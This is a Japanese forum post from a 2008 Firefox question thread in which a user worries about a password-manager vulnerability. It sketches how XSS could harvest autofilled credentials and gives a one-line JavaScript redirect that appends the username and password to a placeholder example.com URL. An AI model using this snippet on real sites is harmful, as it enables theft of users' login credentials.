Mozilla Firefox質問スレッド(初心者歓迎)の79

Mozilla Firefox質問スレッド(初心者歓迎)の79 at SOFTWARE

225:204
08/11/22 19:36:07 SC8+owGw0
>>223
やはり私だけではなかったようですね・・
以前もこういう脆弱性があったのでちょっと不安です。

これを悪用すればユーザ名とそのパスワードを簡単に入手できそうです。
例えば、同じドメイン上にあるウェブページがXSSの脆弱性がある場合、デモページのようなJavaScriptのコードを埋め込み
ユーザ名とパスワードを取得します。
あとは document.location = "URLﾘﾝｸ(www.example.com)" + name + "&password=" + password; みたいな感じで適当に
ユーザをリダイレクトさせてユーザ名とそのパスワードを簡単に取得できます。

次ページ

続きを表示

1を表示